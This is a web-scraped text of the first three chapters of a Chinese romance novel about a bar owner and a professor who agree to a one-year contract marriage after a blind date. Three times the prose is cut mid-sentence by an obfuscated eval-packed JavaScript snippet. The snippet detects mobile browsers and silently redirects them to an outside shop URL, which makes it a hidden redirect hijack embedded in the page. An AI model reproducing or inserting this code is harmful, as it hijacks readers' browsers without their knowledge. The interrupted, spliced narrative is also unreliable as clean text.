《说好一年离,我不分了》 1. 第一章 “……回来路上别忘了给析言买点东西,大学那边不是新开了个书店,带她去转转,买点书……别买用不上的,别让你姑姑姑父不高兴。” “放心,我知道。”蒋凛看着路上稀稀拉拉的学生,扶着方向盘稳稳开进停车位。 电话里老妈又叮嘱了几句,才不放心地挂断。 拔了车钥匙,蒋凛往后靠着座椅,没立刻下车,拿着手机看了眼时间,点开个老电影放着。 离表妹下课还有半小时,他今天到早了。 等着吧。 九月初,下午的太阳毒得晃眼,他拉下遮光板也没多大用,胳膊晒得生疼——叶析言昨天打电话跟他抱怨,说军训完人都脱层皮。 不怪小姑娘抱怨。 他一个大老爷们才晒了十分钟就要熟了。 蒋凛啧了声,不受这罪,直接下了车。 他一边给叶析言发消息问教室是哪个,一边拎了瓶矿泉水往教学楼方向走。 可能是刚开学,上课时间外面的学生也不少,一张张稚嫩的脸一看就未来可期。 蒋凛今年二十九,自认正是好时候,放学生堆里也不算老。 但跟这群刚军训完的小孩一比,少了几分朝气蓬勃,多了太多“社会人士”的气场了。 蒋凛刚跟合作商谈完事就过来了,穿着西装衬衫,天气太热,他把衬衫扣子解开了几颗,袖子也折了上去,露出的小臂肌肉扎实但不夸张,手腕上戴着个手串。 他长得好,但一双桃花眼总透着股洒脱的玩世不恭。 扔学生堆里像老师,扔老师堆里像闯进学校的不良人士。 看着这群大学生,蒋凛正儿八经地感慨了一番岁月不饶人。 他走近了才看见是有社团在招新,也不知道叶析言报没报名。 正想着,手机里有回复了。 【五教A402】 蒋凛在心里“嗯”了声,抬头看着眼前一座挨一座的教学楼。 第一步,五教是哪个楼? 他随便找了个戴眼镜的男生,看着像大二大三的,问:“同学,打扰一下,五教A402怎么走?” 男生看着他,愣了愣,才指着他身后说:“就这个,进去一楼上楼梯四楼,右手边就是。” “谢谢。”蒋凛冲人笑了下。 快走到教室门口的时候,蒋凛找了个不碍事的拐角站住了,他拧开水瓶喝了一口,单手发消息。 【我在四楼楼梯口等你】 对面回的很快。 【干嘛上楼】 蒋凛继续敲打。 【晒成人干儿了】 【认真听课】 对面安静了有两分钟,忽然又有动静了。 【哥,你过来,站门口】 蒋凛一挑眉,没动弹。 【有事禀奏】 叶析言秒回。 【我说我哥长得不像好人,我室友要看看多不像】 …… 蒋凛叹了口气,揣起手机,认命地走到教室门外站好,假装自己是来“视察”的。 这是间大阶梯教室,蒋凛一眼望过去乌泱泱的全是学生——可能是刚开学,全挤在前排,后排稀稀拉拉地空着。 他看了两圈没找见叶析言,哄完孩子准备继续回楼梯口等着,眼神不经意地扫过讲台,微微抬起的脚就放了回去。 哟。 他这个不像好人的人,还真在学校里撞见了个正儿八经的“好人”。 蒋凛不是什么脸皮薄的小年轻,眼神直白地撂在讲台前那位的身上,从上到下看了一圈儿。 看着年龄比他大几岁,个子也高他一点儿。 侧脸看着鼻梁很高,皮肤白,嘴角没有笑,声音不高不低,有种沉稳的缓。 腰窄,肩宽,腿长,脸帅,气质儒雅又冷。 蒋凛轻轻吸了口气,感受着心跳微妙的变化。 对方似乎有所察觉,写板书的动作微微一顿,偏头看向教室门口。 不知是不是巧合,蒋凛刚好转身往楼梯口走。 池砚青探究的眼神只捕捉到一个模糊的侧脸,和挺拔的背影。 这个一看就不是学生的“校外人士”,离开的时候勾着嘴角,笑得挺潇洒。 回家路上,叶析言坐在副驾驶低头边擦眼镜边说:“我就仨小时,抓紧。” “去书店吗?给你买几本名著陶冶情操,”蒋凛随口完成老妈交代的任务,但不等叶析言回话就补充,“还是去吃你那些不能吃的谷子?” 叶析言猛地抬起头,双眼放光:“去吃谷!” 蒋凛笑了声,扶着方向盘换了条路。 店里,蒋凛看着她美滋滋地拿了一堆小卡片小铁片,他熟练地付款。 他小时候经常在姑姑家住,一住就是十天半月的,叶析言是姑姑的独生女,他当亲妹妹一样从小惯到大。 叶析言跟他很亲,哥给买什么都没有负担。 回去路上她又精准踩着老妈的雷,说想吃烧烤,不想吃饭。 蒋凛电话里答应的好,真做起来他是半句都不带听的。 先给朋友店里打电话让人提前烤上,又带着叶析言逛了小吃街,确保她这些天被军训摧残的小心灵得到了安慰,才大包小包地开车回家。 “等会儿我舅我舅妈要是说你,我会担着的。”电梯里,叶析言很严肃地站队。 “今天晚上的教育课不能请假吗?”蒋凛拒绝了她的组队邀请,准备自己扛。 叶析言说不能,算学分的。 蒋凛“哦”了声,自然地问:“你室友看了我这张不像好人的脸有什么感想?” 叶析言很克制地翻了个白眼:“她说你帅得要命,还把你跟池教授放一起比,说你俩差不多帅。” 听到关键词,蒋凛嘴角翘了翘,面上很正经地问:“池教授?” “你没看么?”叶析言抬头瞅他,“刚刚给我们上课的老师,就这一节课,被拽来给我们上一节,这么宝贵的机会你没看见他?” 蒋凛一个人精,当着教室里那么多人的面,他随便就能把直白的眼神表现得像是漫不经心。 叶析言就是没看出来的,以为他瞅都没瞅,还狠狠替他可惜了一番,絮絮叨叨。 “他平时不给大一上课,好像是博导,这次是被我们院长硬请来的。唉,我这双饱受摧残的眼睛终于能看点儿好的了。教授名字也好听,池砚青,池水的池,笔墨纸砚的砚,青色的青……” 蒋凛眼神微微一动。 池砚青。 确实好听,挺配那张脸的。 “怎么买了这么多东西啊,哎,小凛!你怎么买烧烤了,多不健康啊。这一兜子是什么?这都是……我不是让你带析言买书吗?” 老妈的话一句接着一句,叶析言刚要说话,蒋凛就说:“我馋了。” 方素云脸色不太好:“你姑姑最在意健康,她是大夫,她说不让孩子吃肯定有道理。你还买这么多!” 蒋凛心想,路上叶析言都快吃饱了,你手里的都是剩下的。 他笑着说:“没事儿,我姑生气也是骂我,气不到你们头上。” 这话说完,方素云神色有些不自然,招呼着叶析言进屋坐下吃水果,等人安顿下来,才走到厨房和端盘子的蒋凛小声说。 “她是你亲姑姑怎么会骂你,都是我没做到位,她记也得记在我头上。” “那就不告诉她。”蒋凛笑笑,他习以为常,没在这件事上多纠缠,端着东西出去了。 饭桌上气氛还算可以,老爸还没回来,老妈话不多,都是蒋凛和叶析言你一句我一句地聊。 叶析言大一开学快半个月了,头一回蒋凛对她的学习生活这么感兴趣。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886705|192040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从专业课程问到师资力量,又无比自然地转移到她是不是要考研考博。 “之前没打算考博,”叶析言还是个清澈的大学生,听不出蒋凛这个老油条的弦外之音,一五一十地跟他说:“现在突然有种冲动。” “冲着脸去的动?”蒋凛开了罐可乐,放到她面前。 “庸俗。”叶析言切了声,拿起来喝了一口,长长地舒了口气才说:“池教授在我们专业可是站在尖尖儿上的大佬,你懂不懂三十四岁的长聘副教授、博士生导师的实力啊?据说还是研究中心的副主任,他这个年龄这个成绩,简直万中无一,我是仰慕他的学术地位。” 见蒋凛没说话,她又说:“等以后有机会你见了就知道了,池教授跟别人不一样。” 确实不一样。 蒋凛心想。 他一个开酒吧的,见过的形形色色的人太多了,也有不少高级知识分子,还是第一次有人让他觉得不一样。 但他也没特别上心。 叶析言是仰慕学术地位,他在心里铺垫再多好听的词儿,也心知肚明自个儿就是让池教授那张脸和周身的仙气儿给迷了一下。 不止庸俗。 还挺肤浅。 吃完饭给叶析言送回学校,蒋凛打算去酒吧看看。 今儿周四,按理说他这个老板一周除了周五周六剩下几天不用天天到场,但今天他得去。 刚停车手机就响了。 蒋凛手指敲了敲方向盘,按下接听键。 老妈的声音有些踌躇,问他什么时候到家。 蒋凛说今天不回了,店里有事。 “你爸回来了,”老妈声音有些低,像避着人,“上回说给你介绍的人,你没去看,你爸挺不高兴的……想当面跟你说说。” “把电话给他吧。”蒋凛不喜欢找中间人传话,不管他说什么传话的都夹在中间两头受气。 其实他谁都不想惹,奈何本来就不是盏省油的灯,能保一个是一个吧。 他语气依旧带着点笑,说:“放心,我不跟他吵。” 电话里窸窸窣窣地不知道两个人说了些什么,老爸接过去的时候还算平静。 “你还想拖到什么时候?天天跟那些不三不四的人混,什么时候能正经成个家?” 蒋凛也没否认,只说:“您介绍的都是熟人的孩子,我这种人……万一结婚后还是混,那不是给您上眼药吗?” 一句话把蒋怀山那点儿好脾气全烧没了,剩下的怒火蹭蹭往上窜。 “蒋凛!” “您吩咐。” 蒋凛说什么都没脾气,尾音微微扬着,听着心情永远不错似的。 在蒋怀山眼里,自己这个大儿子在婚姻大事上就是油盐不进,烂泥扶不上墙,无可救药。 “下周二,下午两点,”他深吸了一口气,“川鸿路那个咖啡厅,你去见一面,回来给我个交代。” “下周二我有事。”蒋凛兴致不高。 “我没跟你商量!”蒋怀山提高声音,“这次对方是大学老师,男的,品性样貌都好。你不喜欢女人,我不逼你,但你要是再往后拖着不结婚,这个家你就别回了!” “啊,”蒋凛乐了,“那我们爷俩明年见?” “我要让你气得犯心脏病了!这回你敢不去,我没你这个儿子!” 蒋怀山怒气冲冲地直接挂了电话。 蒋凛无奈地捏了捏眉心,老爸心脏病几十年,近两年身体没那么硬朗了,这话也不是威胁。 他再混蛋也不能真给亲爹气住院了。 看看就看看吧,到时候跟对方说个抱歉,吃顿饭就算完成任务。 对方是个大学老师。 蒋凛推开车门,脑海中闪过一张清冷贵气的侧脸和写板书的瘦长手指,他摇摇头,忍不住笑了出来。 怎么今天跟老师过不去了。 2. 第二章 周二踩着不早不晚的步子来了,蒋凛这天起了个大早,给自己收拾立整了才出门——没骗老蒋,他今天真有事。 发小庄礼年他媳妇儿刚出月子,蒋凛得给小侄女包红包去。 原定的下午,因为相亲把事儿挪到上午了,还让那帮损玩意儿逗了半天。 “真假啊凛哥,你不是不结婚吗?”赵晟拿着个玩具逗小孩儿,生怕吓着孩子,说话声儿都勒细了。 “赵公公离我闺女远点儿,阴气太重。”庄礼年给孩子冲完奶粉,立刻给人挤到一边去。 他边喂奶边说:“糊弄糊弄你家老头就得了,一个大学男老师……大学,男,老师——日子一眼就望到头了,这人能有啥意思?” “你没上大学那事儿兄弟们都知道,不用强调了,”蒋凛寒碜回去,语气还挺同情,“过去多少年了,你也不能一直对人家大学老师有意见吧。” “靠,我他——”闺女还在怀里吧唧嘴呢,庄礼年的脏话戛然而止。 蒋凛笑了声,瞥了眼墙上的挂钟,时间差不多了,他得赴约去了。 他跟一屋子大老爷们说了声,在刻意压低的起哄声里出了门。 川鸿路的咖啡馆开了有些年了,老板是蒋怀山的朋友,蒋凛上初中的时候还在里边写过作业。 那时候他总在外边野,只要不回家,他哪儿都能待着。 一晃过去这么多年,蒋凛一进门就发现店里重新装修了。 以前的小桌子小椅子换成了很有格调的咖啡色桌椅,桌与桌之间还做了隔档,很适合聊天谈事。 蒋凛没什么情调,脑袋里很实用地想下回跟人谈生意可以约在这。 老爸没给联系方式,蒋凛更没见过那个老师。 他在门口看了一圈,这个时间店里人不算少,座位之间又有装饰挡着,看了几秒没找到人。 他也不急,去前台问:“你好,有人预约等人么?” 幸好,那位大学男老师对这种情况早有准备,特意交代过。 前台立刻说:“有,我带您过去。” 蒋凛是没上心的,走过去的时候很随意,当成个生意要谈。 他太会谈生意了,社交场上左右逢源的人,最不怕的就是跟人见面聊天。 状态太放松了,以至于看见桌对面坐着的池砚青时蒋凛还有些没反应过来,愣了几秒——这反应在蒋老板这儿可太罕见了。 池砚青抬头,也看见了蒋凛。 两人眼神这么一对,蒋凛刚要张嘴,池砚青已经开口。 “你好。” 简短普通的两个字,从一位大学老师嘴里说出来,莫名有了种审视感。 蒋凛明明站着,却像个迟到的学生。 索性这位蒋同学也不是省油的灯,第一轮照面算是落了下风,第二轮他不可能还被动。 “你好。点餐了吗?这家下午茶不错。”蒋凛坐下,视线落在池砚青脸上,仔仔细细地给人看了一遍。 池砚青穿着休闲款的白衬衫,熨烫得没有一丝褶皱,手腕上有一块深蓝色的腕表,脸上神情很淡。 身材恰到好处地撑起了衣服,气质和整个咖啡厅的人都不一样,不是单纯的书生气,还有一丝很特别的感觉。 这次靠近了蒋凛才注意到,他眼尾有一颗很淡的痣,中和了脸部线条的冷硬。 “没有,在等你。”池砚青唇角有很细微的弧度,礼貌,但不算亲近。 蒋凛收回视线,假装看了眼空荡荡的手腕,开玩笑说:“抱歉……我来晚了,这顿我请,你点。” 池砚青没和他客套,点了杯咖啡和甜点。 蒋凛选的是双倍浓缩,他爱喝苦的,没想到池砚青居然喜欢更甜的冷萃。 “蒋凛,凛冬的凛。我开了家酒吧,现在就忙这个。”服务生一走,蒋凛先自我介绍,说话间很自然地整了整有些不服帖的衣袖。 “池砚青,”池砚青说,“目前在A大教书,一个老师。” 蒋凛脑海里立刻想起叶析言形容池砚青时那一长串荣誉——三十四岁的长聘副教授、博士生导师、研究中心副主任,从池砚青本人嘴里说出来,只是个不显山不露水的“大学老师”。 这不是正经想相亲的人能说出来的话。 池砚青可能跟他一样,也是被“逼着”来的。 一句介绍,蒋凛心里就有数了。 但不巧,他这回不想轻易松手了。 “大学老师好啊,”蒋凛假装什么都不知道,语气带了点尊敬,“我表妹就在你们学校念书,今年大一刚开学。说起来有缘,池老师,这不是我头一回见你。” 他叫他池老师。 池砚青微微挑眉,等着蒋凛继续说。 “上周四我去过你们学校,当时你正给她上课呢,我在门口看了你一眼。”蒋凛说话的时候手没闲着,戴上了手套,开始剥坚果。 “就一眼,怕打扰你们我就走了,你可能都没注意。” “我看见你了。”池砚青说。 蒋凛有些惊讶地抬起头。 正巧咖啡和甜点都端了上来,池砚青拿起咖啡喝了一口。 蒋凛这人最会察言观色了,却没从他脸上看出这杯咖啡合不合口味。 他觉得有意思,心里那点儿好感多了层挑战的愉快。 “我没打扰你上课吧?”蒋凛顺着往下聊,语气含着笑,眼睛也总是微微带点下压的弧度。 像逗着人似的,连哄带顺的。 这样的人坐在你面前,你就算是带着脾气来的,看他几眼也舍不得说重话了。 这是蒋凛的气场,他跟池砚青相反,一点儿也不冷,他特别“热乎”。 说直白点儿就是,他很会“招人喜欢”。 池砚青喝咖啡时眼睛还看着蒋凛,咖啡杯一放下,他就说:“打扰到了。” 蒋凛一愣。 池砚青眼底带了点不明显的笑意,说:“这张脸想不注意到挺难的。” 这句就太直白了,蒋凛没想到他会这么说,手指按了按桌子,“也是,我一开始也是冲着脸去的,一眼我就给你记住了。” “谢谢肯定。”池砚青也顺着往下接。 桌上本来氛围还挺“端着”的,池砚青一句话把那点儿紧绷全打碎了,气氛陡然松了下来。 蒋凛胳膊搭在桌子上,也不装了,坦诚地叹了口气:“我刚还想着跟你装一会儿呢,我都想好了,第一印象说点儿气质、学问什么的。” “听了半分钟不到的课,就能感受到学问了,”池砚青看他,“那我确实值得你夸奖。” “也可能是我天赋比较好。”蒋凛假模假样地自夸,说完直接笑开了,完全不端着了,三言两语逗得池砚青又笑了两次。 池砚青表情不多也不明显,但蒋凛的每句话他都给反应。 让蒋凛能清晰地感受到池砚青虽然冷,但有礼有节,冷是骨子里的性格,不是高高在上。 更让人中意了。 蒋凛实话实说,他这趟来是家里老头子催婚催的紧,他没招了,只能过来。 “说出来你可能不信,这还是我头一回相亲,没什么经验。”蒋凛说完,话锋一转,问他:“池老师呢?也是家里催得急了么?” 他这么问是有依据的,他今年二十九,且不着急呢。 池砚青三十四,大他五岁,按传统家庭观念,他这个年纪二胎都该有了。 蒋凛问完把小托盘里剥好的坚果推到池砚青面前,随后拿起自己的咖啡喝了一口。 从头到尾动作都很自然,仿佛这就是他该做的。 池砚青把他的一举一动尽收眼底,先回答他的问题:“家里不要求这个,工作有需要。” “工作需要?”蒋凛不了解学术圈的门道,也不装懂,直接问:“工作单位对婚姻状况还有要求呢?” 池砚青简单说了学校的一个国自然项目安排,他没说这个项目有多重要,只说他接手是最合适的,但是上面出于家庭原因觉得他“还没安定下来”,还在犹豫。 领导不想他错过机会,上面也不想把这个项目给别人负责,两头找他谈过好几次了。 “推不过,我想找个合适的人,合作一年。”池砚青不避讳自己的目的,一就是一二就是二。 一般人听到这儿可能就开始失望了,蒋凛反而觉得这是个好机会。 他没问什么叫合适的人,只问:“怎么个合作法儿?” 池砚青语气很淡,是公事公办的态度:“只领证,不用履行义务,婚前财产做公证,可能偶尔需要配合出席一些场合,我会尽量拒绝。对方也可以提要求,不过分的我都可以配合。一年后离婚。” 还有这种好事儿? 蒋凛眉梢动了动,抬头看着池砚青的眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886706|192040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,忽然说:“池老师,你觉得我怎么样?” 他问的太直,换别人可能觉得冒犯了。 可池砚青没表现出被唐突的样子,眼神淡淡地看过来,真的开始认认真真地审视起他来。 蒋凛大大方方地让人看,他虽然是个生意人,但气质并不市侩,外形条件太突出了。 蒋老板自认把他带出去还是非常“有面子”的。 也不能干让人看,蒋凛手指轻轻刮着咖啡杯,低声说:“介绍人太不专业了,什么信息都没给,显不出我的好来。” 池砚青笑笑没说话。 蒋凛脸皮厚着呢,继续说:“我今年二十九,比你小五岁,酒吧开了有几年,收入稳定没有外债,单身两年多了,除了家室之外都稳定下来了。” “虽然是个小老板,但也挺忙的,我没雇经理,酒吧大小事我一个人操心,忙得乱转,吃喝嫖赌一样不沾。” “喝也不沾?”池砚青问。 “以后你跟我喝一回酒就知道了,”蒋凛笑了声,语气带了点儿自嘲,“我争取坚持到一瓶。” 他酒量很差。 一个酒量很差的酒吧老板。 池砚青眼神掠过蒋凛勾着的唇角,眉目微敛,看不出情绪。 一顿相亲饭,吃得蒋凛挺意犹未尽。 池砚青没说可以,也没说不行,跟他交换了联系方式就准备回去上课了。 他说这周事情安排得很紧,吃饭是抽空出来的。 出了门,蒋凛说送他,池砚青说开车来的。 蒋凛没坚持,看着池砚青开车离开,过了会儿自己才上车。 他没急着开走,开着车窗点了根烟,眉头微微皱着,像在回忆什么。 过了会儿,他咬着烟,拿出手机给老妈发了条短信。 对面回消息的瞬间,他眼底猛地划过一抹恍然,怔了两秒,转而低声笑了出来。 原来不是香水,是烟。 池砚青身上若有似无的味道。 是他很久之前尝过一回的薄荷味女士香烟。 两个人就这么分开了,之后一周蒋凛挺忙。 酒水进货的事儿,驻唱要换人了,换季了要上新酒,杂七杂八的,跟店里的调酒师林葳一起每天都在研究。 蒋凛的手机里多了个微信,但一直安安静静的,谁也没主动联系。 看样子好像没戏了。 蒋凛还没发表感言呢,赵晟先哭上了。 坐在酒吧二楼的小卡座里,假模假样地抹眼泪儿:“可怜我凛哥,情窦初开,好不容易挑了个顶配的大学教授,结果还没恋上呢,就黄了……” 庄礼年一脸嫌弃,下巴点了点靠在小沙发里的蒋凛:“你凛哥明显没上心,还有心思琢磨菜单儿呢,你哭个什么。” 赵晟卖力地抹了抹眼角,捧着酒杯喝了一口,图穷匕见地说:“凛哥,我这心里装的可都是你,这顿不能收我钱了,收庄礼年这孙子的,冷心冷肺的。” “滚,”庄礼年骂他,“个傻逼玩意,就认喝。” 蒋凛根本没听他俩废话,忙着联系新乐队呢。 他跟庄礼年是发小,两家家长就是老朋友,从小扒裤子塞泥巴的关系。 赵晟是他俩高中同学,三个损货这么多年的关系了,嘴上闹归闹,关系那是没话说的。 换俩人大中午的非营业时间硬是要过来喝酒,蒋凛不说一人一脚踹出去,也是直接关门。 赵晟就一句馋酒了,他就把兼职调酒师喊来了。 听见庄礼年嘴里开始往外吐“池老师”这三个字,蒋凛才抬起头。 “睡醒了?”庄礼年瞅他。 “嗯,醒了,”蒋凛站起来,“这么闲,你俩晚上替我看店。” 赵晟往后一靠:“不行啊哥哥,我晚上还得约会呢,老庄得回家奶孩子。” “推了,”蒋凛不跟这俩中午犯酒瘾的精神病讲理,“我晚上也得约会呢。” “我靠?”赵晟震惊。 扔下这么个重磅炸弹,蒋凛半步不停地走到一楼,靠着吧台,看着朋友圈里自己刚发的那条宣传。 下面有一颗小红心是池砚青点的。 他闷声笑了一会儿,感觉火候到了,大教授这周应该是忙完了。 他立刻给微信里的“池教授”发了条消息。 【池老师,试用期什么时候开始?】 3. 第三章 刚开学的半个月是池砚青最忙的阶段之一。 开不完的教学会议,项目例会,还有手底下的硕士博士生的开学见面会,课题指导,穿插着正课…… 每天在学校和中心来回跑,回到家也不得消停。 批改计划书、补录课程材料、回复合作机构的邮件,桩桩件件,哪个都不能往后排,每天都要熬到后半夜。 同事们开玩笑说刚开学的新生是初升的太阳,他们这帮老教授是马上要累死的驴。 会议室难得有点笑声。 池砚青这时候话不多,他边听边记要点,眉目淡,半点不动情绪。 学校的行政会议话多,效率低,又推不了。 最累的不是讨论,是从一堆废话里滤出重点。 在池砚青这种注重实际的人眼里,开个行政会比连着上一天课都烦。 散会了已经是中午,提前通知过的学生已经在办公室门外等池砚青了。 一分钟都歇不着,他打了声招呼,开门进去喝了口水就坐到电脑前给他们讲新开题的论文。 看一眼都头疼的论文,学生挺紧张,也知道自己写的是个什么水准,做好了挨骂准备。 池砚青却很平静,一个一个错误指出来,没有要发脾气的意思。 这是新收的硕士,他一个个亲自过的,底子都不错。 最后一个问题说完,池砚青简短地做了个交代。 “有问题及时问我,发消息和邮件都可以,特别急的也可以打电话。我不一定立刻回,可以多发几次。”他揉了揉手腕,语气不算温和,但也说不上严肃。 “我能接受你们不懂就问,但是不要不懂装懂,有问题不可怕,不解决才是大问题。” “还有什么疑问么?” 几个学生摇头说没有了,眼底都隐隐藏着惊喜。 能报到池教授这儿的,哪个都不笨,池砚青虽然带学生的年份不久,但他的名字在学生群体里却是绝对的专业、严谨、负责的代名词。 学生们走之前都有种捡到宝了感觉,兴冲冲地出门,小声交头接耳。 关门声一响,池砚青这个被捡的宝贝就轻轻呼出口气,眉宇间浮现出淡淡的疲惫。 他拽了拽领口,视线看向窗外的绿植,放松眼睛的同时脑海里过着接下来的安排。 晚上还有个健康普查方案要过、调研排期今天可以做完、数据进度不急,学生们刚上手…… 池砚青靠着椅背,闭上眼睛。 忙了一周,明天能喘口气了,另一件“正事”也必须往前提一提了。 闭目养神了会儿,他拿起手机点开微信,指腹在一个个联系人上划过,最终停在了一个还没有聊天记录的头像上。 点进去没发消息,先点开了对方的朋友圈,从头到尾一条条地看下去。 几乎没有个人生活,大多是酒吧的活动,密度也不算高。 这种程度的宣传,更像是有固定客源的店,宣传的主要作用是“告知”,而不是吸引人来。 池砚青从照片里看蒋凛这家酒吧的布局和风格,不出他预料,是一个高端清吧。 干净,人多,不闹,也不乱。 和蒋凛本人挺像的,一眼看过去觉得有点浮,不踏实。 真说上话了就会发现这人比看着沉稳很多,所谓的“浮”更像是为人处世的手段。 池砚青脑海里晃过蒋凛看着他说“你觉得我怎么样”时的神情。 意外的很认真。 人是院里老教授介绍的,说是老友的儿子,今年二十九,开了家酒吧。 外貌拿得出手,品行性格都是上等,家境也好,老教授从小看着长大的,是个稳当孩子。 具体的也没跟池砚青说。 只说俩人也不是真要过日子,合作一年,熟人知根知底,不用担心出乱子。 池砚青当时也是推拒不过,只想着见见,合作对象他打算自己另找。 …… 划到最新一条朋友圈,池砚青指尖停顿了一下,在上面点了个赞。 没过一分钟,他微信就响了。 【池老师,试用期什么时候开始?】 反应还挺快。 池砚青不明显地笑了一声。 【现在】 他放下手机准备继续工作,手机突然震动起来—— 蒋凛把他刚发出去的两个字又送了回来。 池砚青面色不变,他跟学生讲了半天话,嗓子发紧,喝了口水才按下接听键。 不等他说话,蒋凛抢先说:“池老师,今天几点下班?” 池砚青看了眼时间,说六点半。 “晚上有安排么?”蒋凛问。 “没有。”池砚青说。 电话那头蒋凛笑着说:“池老师,我今天能接你下班儿么?” 稍显“冒犯”的提议,从他嘴里说出来就显得不过分了,还很有意思。 “我开车来的。”池砚青手指轻轻敲着桌子。 “你开车了啊,”蒋凛自然地说,“那你顺道把我捎上吧,我就在你学校门口等着。” 池砚青没忍住笑了出来,声音不高:“想跟我聊天就约饭,非要在一辆车上么。” “不约吃饭,”蒋凛那边挺安静,他说话时尾音上扬的气声都听得一清二楚,“你这一周挺忙的,该歇歇,我这时候要还找你吃饭,就忒不懂事儿了。” “上我车就懂事儿了?”池砚青往后靠了靠,一个放松的姿势。 “你半道给我扔哪都行,没让你送我,”蒋凛顿了两秒,故意说:“池老师,我可没想去你家啊,你别误会。” 池砚青不接这个茬儿。 蒋凛也不在意,继续说:“我就是刷个好感度,这么长时间不见,怕你给我忘了。” “不能。”池砚青说。 “我想也不能,”蒋凛说,“蒋老板这张脸还挺难忘的是吧?” 池砚青笑笑,不理他。 晚上六点三十分,池砚青准时出了办公室。 蒋凛提前五分钟发了微信,拍了张校门口的小石墩子,说他在第五个石墩子旁边等着呢。 工作原因,这个年纪做到他这个地位的同龄人几乎没有,池砚青身边都是大他几岁的人,他也习惯跟这些人打交道。 冷不丁碰到个小他五岁的,言行举止哪个都新鲜。 池砚青看了两秒聊天页面,回了个“等着”。 让等着,蒋凛就老老实实地等着,拿着把伞站在校门口,像个接孩子的家长。 九月天最善变,中午还艳阳高照,到晚上就阴了,开始下雨。 他下车的时候还是小雨,两分钟的功夫已经下大了,裤脚都溅湿了。 蒋凛暗道一声天公不作美,好在池砚青很守时,没让他久等。 车停在他旁边,蒋凛拉开车门后先看了眼驾驶位上的人,两人眼神一对,都带着点笑,他才低头坐进去。 “雨够大的。”蒋凛很利索地收好雨伞,没带出水珠。 “坐饭店里等我就不用挨浇了。”池砚青等人群过去,才开进马路。 “都说了我是懂事儿的孩子,”蒋凛说,“池老师慢点开。” 池砚青没变车速,雨天本来就开不快。 雨水敲着玻璃,滴滴答答的声音挺让人心烦的,这时候蒋凛突然开口,打散了车里的沉闷。 “池老师,我得交代个事儿。” “交代”两个字,顿时拔高了接下来要说的事的高度,莫名有些严肃。 但眼下明显不是什么严肃的场合,这话就带了点调笑的意味。 池砚青用余光往他那边看了一眼,也用他的词:“‘交代’什么?” “这周我没闲着,我调查了一下,”蒋凛咳了一声,“把你背景查清楚了。” 池砚青“嗯”了声,等他的后话。 “我跟我家老头子通了个气,他跟我说要再单着就没我这个儿子了。”蒋凛说出来都觉得好笑,但再好笑他都实话实说。 他偏头看着池砚青,“你说想找个人合作一年,我觉得我挺合适。我也要有个人先给我爸稳住了,感情的事已经没时间培养了,再等我就成孤儿了,先救救急吧。” 池砚青耐心听他说完,才开口:“结婚不是小事儿。” “对,”蒋凛点点头,“所以我动了点儿人脉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886707|192040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,先给你摸透了,琢磨了一礼拜才来跟你聊。” 蒋凛说得可太直白了,就因为直白,池砚青才觉得有意思。 “打听到什么了? ”他问。 “打听到你有多抢手了。”蒋凛说。 池砚青轻笑了声。 “家室学历事业样样都好,相亲市场的金龟婿,落谁手里都是捡到宝了,”蒋凛根本没夸人,池砚青的履历让他吹都不用吹,“亏我多了个心眼儿,池教授荣誉多得都快数不过来了,还说自己就是个老师,太唬人了。” “都一样。”池砚青说。 这种话一般都是真有本事的人说的,从池砚青嘴里说出来,更显得淡。 不是轻视荣誉,是真的不在意。 蒋凛发现虽然才见了两回,但他挺喜欢听池砚青说话的,情绪稳的人周围有气场,控着他的心也跟着静。 静了就该说正事儿了。 “池老师,”蒋凛的称呼还是尊敬,语气也认真起来,“你如果觉得我这个人还行,我们就接触接触吧。” “我时间不多。”池砚青说。 这句一语双关,蒋凛听出来了,一是池砚青工作忙、空闲时间少,二是结婚这事儿也没法再往后推了。 更着急的其实是池砚青。 但两个人只要一聊上来,急的就好像是蒋凛似的,池砚青永远在旁边儿慢条斯理地看着他。 想到这,蒋凛心底动了动,把最后要交代的说完:“我没什么要求,家那边现在已经魔障了,坚信我跟谁待一年都能待出感情来,只要结婚就行。” “你的工作需要我也都能配合,至于我的背景,你想查随便查,我心不虚,不怕你问。” 池砚青不是个喜欢跟人交心的人,所以他说话总隔着一层,别人在他面前也多是表面客套私下琢磨。 蒋凛这么坦坦荡荡地把自己剖开了跟他说实话,无形之中也给自己加了分。 池砚青思索半晌,才道:“确实合适。” 至少在可控范围内合适。 蒋凛嘴角翘了翘,他这趟是提前做足了功课的,“婚前这些事我们挺合拍的,你放心,婚后我也不能给你添麻烦。” 池砚青眉梢很轻地扬了一下。 